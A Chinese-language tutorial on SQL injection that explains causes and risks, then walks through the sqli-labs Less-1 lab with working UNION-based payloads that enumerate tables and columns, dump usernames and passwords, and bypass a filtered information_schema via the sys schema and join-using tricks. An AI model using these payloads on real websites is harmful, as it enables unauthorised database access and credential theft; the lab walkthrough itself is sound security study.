SQL注入漏洞解析

news2025/1/23 9:26:20
什么是SQL注入
原理:

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

解释:当我们用户在前端浏览器页面做一些事情的时候,当需要与数据库进行交互时,比如最简单的登陆账号,web应用程序接收到我们账号密码后,需要后台有这样一个数据库的命令,去查询数据库中是否有这样的一个账号密码与之对应,然后做出判断:是否存在用户名,若存在,用户名与密码是否相匹配。然而,当数据库的这个命令直接被用户去操控,用户直接对数据库进行任意操作。这样所带来的隐患是极其严重的。我们称之为存在SQL注入漏洞。

起因:

     为什么会有SQL注入?

  • 代码对带入SQL语句的参数过滤不严格
  • 未启用框架的安全配置,例如:PHP的magic_quotes_gpc
  • 未使用框架安全的查询方法
  • 测试接口未删除
  • 未启用防火墙
  • 未使用其他的安全防护设备
  • .......
危害 :

这些危害包括但不局限于:

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马。传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作。数据库服务器被攻击。数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控“制操作系统。
  • 破坏读盘数据,瘫痪全系统。 一些类型的数据库系统能够让Sql指令操作文件系统,这使得Sql注入的危害被进一步放大。
场景:

哪些地方可能会存在SQL注入?

  • ​ 所有与数据库进行交互的地方:
  • 登陆框
  • 搜索框
  • 详情页
  • 提交按钮
前置知识
以下所有内容除特殊强调外数据库均为Mysql

先来了解一下Mysql的一些基础结构把

  • 数据库:information_schema(存放数据库元信息)

其中三张常用的表

  1. schemata (存放数据库名)
  2. tables (存放表名)
  3. columns(存放字段名)

schemata表:

     schema_name字段用来存储数据库名
tables表:

  1. table_schema(数据库名)
  2. table_name(表名)

columns表:

  1. table_schema(数据库名)
  2. table_name(表名)
  3. column_name(字段名)
SQL注入分类:

 SQL注入的类型很多,但不是严格的进行区分的。如报错注入可发生在GET型注入中,也可发生在POST型注入中,以下列举几种常见的分类:

按照请求方法分类
  • GET型注入
  • POST型注入
按照SQL数据类型分类
  • 整型注入
  • 字符型注入
其他类型
  • 报错注入
  • 布尔盲注
  • 时间盲注
  • Cookie注入
  • User-Agent注入
判断是否存在SQL注入
​ 当我们在进行SQL注入时,首先要判断他的注入点。其目的便是尽可能地使数据库去执行我们的输入:

单引号’、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
在url后加and 1=1 、and 1=2、 -0、 +0、 .0、 .1等查看页面回显是否一样来判断所输入的数据是否被当作数据库命令执行。(部分注入存在回显不明显,可通过审查元素或者使用BurpSuite进行查看)
下面我们用sqli-labs 为实验环境进行展开分析

1.sqli-labs第一关

1.1判断是否存在sql注入

1.提示你输入数字值的ID作为参数,我们输入?id=1

 

2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型。

当我加了'之后显示语法错误

但是我注释掉'之后有数据显示 

4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

之后通过order by 后加数字来判断有多少个字段若 order by 2返回正常 则说明字段数大于等于2。由该处 order by 3正常 order by 4返回错误可判断字段数为3

 

 知道字段后我们就可以联合查询

127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3--+

 

  • 使用函数version(),database()替换占位数字回显出数据库版本信息名称

知道库名(security)之后数据库的所有表名
id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

查列名
?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

我们查到了库里有id,username,password,就能查到里边具体的数据  

/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+

 ok,我们查到了数据,就可以.......🤣

衍生一下,如果我们的information schema被过滤,怎末版。

1.2学习一下无列名注入 

 有没有代替information schema的呢?

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

利用join-using注列名

通过系统关键字join可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

爆表名
?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_auto_increment_columns%20where%20table_schema=database()--+
/?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_table_statistics_with_buffer%20where%20table_schema=database()--+

?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b)%20as%20c--+

?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id))c--+

/?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username))%20as%20c--+

?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username,password))%20as%20c--+

 这就把列名一步一步全部弄出来了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1467598.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

贪心/树形dp

思路: 因为如果红色节点的子树中如果有红色节点的话,那么该子树对其不会造成影响,不用考虑,因此我们在考虑每个红色节点时,不考虑其红色子树。那么如图,对每个红色节点答案有贡献的就是其所有非红色子节点…

入侵检测系统的设计与实现

入侵检测系统(Intrusion Detection System,简称IDS)是一种能够监视网络或计算机系统活动的安全工具,旨在识别并响应可能的恶意行为或安全事件。这些事件可能包括未经授权的访问、恶意软件、拒绝服务攻击等。入侵检测系统通过不同的…

刘雯井柏然植物园漫步,情侣裙超养眼,甜蜜穿搭亮了。

♥ 为方便您进行讨论和分享,同时也为能带给您不一样的参与感。请您在阅读本文之前,点击一下“关注”,非常感谢您的支持! 文 |猴哥聊娱乐 编 辑|徐 婷 校 对|侯欢庭 刘雯井柏然漫步永州植物园,情侣裙惊艳亮相&#x…

算法沉淀——记忆化搜索(leetcode真题剖析)

算法沉淀——记忆化搜索 01.斐波那契数02.不同路径03.最长递增子序列04.猜数字大小 II05.矩阵中的最长递增路径 记忆化搜索算法(Memoization)是一种通过存储已经计算过的结果来避免重复计算的优化技术,通常应用于递归算法中。这种技术旨在提高…

Jenkins中Publish Over SSH插件使用(1)

SSH插件 前言Publish Over SSH插件是jenkins里面必不可少的插件之一,主要的功能有两个把jenkins服务器上的文件,传输到远程nginx, 远程执行shell命令和脚本。 1. SSH插件下载与配置 1.1 下载Publish over SSH插件 系统管理—》管理插件 …

stm32单片机的智能手环-心率-步数-距离-体温-蓝牙监控

一.硬件方案 随着社会的发展,人们的物质生活水平日渐提高,人们也越来越关注自己的健康。智能手环作为一种测量仪器,可以计算行走的步数和消耗的能量,所以人们可以定量的制定运动方案来健身,并根据运行情况来分析人体的…

javaweb day3 day4 day5

js 引入方式 写法 基础语法 写法 变量 写法 数据类型 运算符 与java相同 会判断类型是否相同 循环控制语句 和java相同 函数(方法) 写法 Array数组 写法 string字符串 写法 js自定义对象 写法 JSON 写法 BOM window 写法 location 写法 DOM 案例…

蓝桥杯DP算法——区间DP(C++)

根据题意要求的是将石子合并的最小权值,我们可以根据DP思想使用二维数组f[i,j]来存放所有从第i堆石子到第j堆石子合并成一堆石子的合并方式。 然后由第二个图所示,我们可以将i到j区间分成两个区间,因为将i到j合并成一个区间的前一步一定是合…

C++中的STL数据结构

内容来自:代码随想录:哈希表理论基础 1.常见的三种哈希结构 当我们想使用哈希法来解决问题的时候,我们一般会选择如下三种数据结构 数组 set (集合) map(映射) 在C中,set 和 map 分别提供以下三种数据结构…

利用LaTex批量将eps转pdf、png转eps、eps转png、eps转svg、pdf转eps

1、eps转pdf 直接使用epstopdf命令(texlive、mitex自带)。 在cmd中进入到eps矢量图片的目录,使用下面的命令: for %f in (*.eps) do epstopdf "%f" 下面是plt保存eps代码: import matplotlib.pyplot as…

win11修改网络算法为BBR2_提升网络环境质量

Win11 BBR2 是Google开发的一种高效的网络拥塞控制算法,玩 Linux 的朋友应该对它还有锐速不陌生。相比Windows默认使用的 CUBIC 算法,BBR2 在网络吞吐量、延迟、全局性能等方面都有一定优势。 如果你日常网络经常丢包或者高延迟可以尝试切换为BBR2算法。…

给自己留个备忘,blender是右手坐标系

所谓右手坐标系,就是三个轴的方向和右手三根手指的方向一致(当然,有要求的,这个要求是大拇指指向x轴方向,食指指向y轴方向,中指指向z轴方向)。 不过blender默认是z轴朝上的,如下图。 右手坐标系…

AI:134-基于深度学习的社交媒体图像内容分析

🚀点击这里跳转到本专栏,可查阅专栏顶置最新的指南宝典~ 🎉🎊🎉 你的技术旅程将在这里启航! 从基础到实践,深入学习。无论你是初学者还是经验丰富的老手,对于本专栏案例和项目实践都有参考学习意义。 ✨✨✨ 每一个案例都附带有在本地跑过的关键代码,详细讲解供…

Vue3自定义组件v-model双向绑定

无能吐槽一下,虽然用了很多遍v-model,但是还是不得要领,每次看官网都感觉说的不是很清晰,在写的时候还是要查看文档,可能就是不理解原理,这次特意好好写一篇文章,让自己好好理解一下。 自定义一…

什么是IP地址,IP地址详解

在互联网的世界中,每一台连接的设备都需要一个独特的标识,这就是IP地址。IP地址,全称为“Internet Protocol Address”,即互联网协议地址,它是网络中进行数据传输的基础。下面,我们将对IP地址进行详细的解析…

EI论文联合复现:含分布式发电的微网/综合能源系统储能容量多时间尺度线性配置方法程序代码!

适用平台:Matlab/Gurobi 程序提出了基于线性规划方法的多时间尺度储能容量配置方法,以满足微电网的接入要求为前提,以最小储能配置容量为目标,对混合储能装置进行容量配置。程序较为基础,算例丰富、注释清晰、干货满满…

VoVNet(CVPR workshop 2019)原理与代码解析

paper:An Energy and GPU-Computation Efficient Backbone Network for Real-Time Object Detection third-party implementation:https://github.com/huggingface/pytorch-image-models/blob/main/timm/models/vovnet.py 存在的问题 DenseNet通过密…

泰山派学习笔记(二)一步一步编译SDK文件

上一节,我们安装了基于虚拟机的ubuntu系统,并且建立了samba服务打通了win10和ubuntu系统中的文件传输。本节课我们继续对立创官方提供的SDK文件进行编译,学习编译的方法。引用官方的话:如果只想下载别人编译好的固件并且做一些应用…

Linux系统运维:离线安装sar-性能监视和分析工具

目 录 一、前言 二、系统环境 三、安装sar (一)准备工作 1、下载 sar 工具的安装包: 2、将安装包传输到 CentOS 服务器 (二)安装工作 1、解压 2、配置安装 3、编译 4、安装 (三&#xff0…

Ubuntu环境安装MySQL数据库

1.安装过程 打开终端(Terminal)窗口,使用以下命令更新系统软件包: sudo apt update ubuntu环境安装mysql-server和mysql开发包,包括mysql头文件和动态库文件,命令如下: sudo apt-get instal…